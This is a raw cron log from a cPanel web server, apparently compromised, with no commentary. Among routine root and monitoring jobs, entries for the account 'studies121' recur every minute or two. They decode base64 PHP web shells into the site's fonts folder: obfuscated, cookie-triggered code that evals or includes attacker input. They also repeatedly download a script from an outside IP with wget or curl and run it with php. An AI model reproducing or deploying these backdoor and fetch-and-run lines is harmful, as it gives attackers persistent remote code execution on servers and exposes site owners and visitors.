Sep  3 22:18:02 ip-184-168-122-23 CROND[8116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:18:02 ip-184-168-122-23 CROND[8117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:18:02 ip-184-168-122-23 CROND[8118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:19:01 ip-184-168-122-23 CROND[8201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:19:01 ip-184-168-122-23 CROND[8202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:19:01 ip-184-168-122-23 CROND[8206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:19:01 ip-184-168-122-23 CROND[8207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:20:01 ip-184-168-122-23 CROND[8291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:20:01 ip-184-168-122-23 CROND[8292]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 22:20:01 ip-184-168-122-23 CROND[8296]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:20:01 ip-184-168-122-23 CROND[8294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:20:01 ip-184-168-122-23 CROND[8297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:20:01 ip-184-168-122-23 CROND[8300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:20:01 ip-184-168-122-23 CROND[8299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:20:01 ip-184-168-122-23 CROND[8303]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:20:01 ip-184-168-122-23 CROND[8302]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 22:21:01 ip-184-168-122-23 CROND[8392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:21:01 ip-184-168-122-23 CROND[8395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:21:01 ip-184-168-122-23 CROND[8396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:21:01 ip-184-168-122-23 CROND[8394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:22:01 ip-184-168-122-23 CROND[8483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:22:01 ip-184-168-122-23 CROND[8484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:22:01 ip-184-168-122-23 CROND[8485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:22:01 ip-184-168-122-23 CROND[8486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:22:01 ip-184-168-122-23 CROND[8487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:23:01 ip-184-168-122-23 CROND[8570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:23:01 ip-184-168-122-23 CROND[8571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:23:01 ip-184-168-122-23 CROND[8574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:23:01 ip-184-168-122-23 CROND[8572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:24:01 ip-184-168-122-23 CROND[8653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:24:01 ip-184-168-122-23 CROND[8654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:24:01 ip-184-168-122-23 CROND[8656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:24:01 ip-184-168-122-23 CROND[8658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:24:01 ip-184-168-122-23 CROND[8662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:25:01 ip-184-168-122-23 CROND[8745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:25:01 ip-184-168-122-23 CROND[8748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:25:01 ip-184-168-122-23 CROND[8747]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:25:01 ip-184-168-122-23 CROND[8749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:25:01 ip-184-168-122-23 CROND[8750]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 22:25:01 ip-184-168-122-23 CROND[8751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:25:01 ip-184-168-122-23 CROND[8753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:26:01 ip-184-168-122-23 CROND[8834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:26:01 ip-184-168-122-23 CROND[8837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:26:01 ip-184-168-122-23 CROND[8836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:26:01 ip-184-168-122-23 CROND[8838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:26:01 ip-184-168-122-23 CROND[8839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:27:01 ip-184-168-122-23 CROND[9007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:27:01 ip-184-168-122-23 CROND[9008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:27:01 ip-184-168-122-23 CROND[9009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:27:01 ip-184-168-122-23 CROND[9010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:28:01 ip-184-168-122-23 CROND[9095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:28:01 ip-184-168-122-23 CROND[9097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:28:01 ip-184-168-122-23 CROND[9100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:28:01 ip-184-168-122-23 CROND[9098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:28:01 ip-184-168-122-23 CROND[9099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:29:01 ip-184-168-122-23 CROND[9174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:29:01 ip-184-168-122-23 CROND[9175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:29:01 ip-184-168-122-23 CROND[9179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:29:01 ip-184-168-122-23 CROND[9180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:30:01 ip-184-168-122-23 CROND[9270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:30:01 ip-184-168-122-23 CROND[9275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
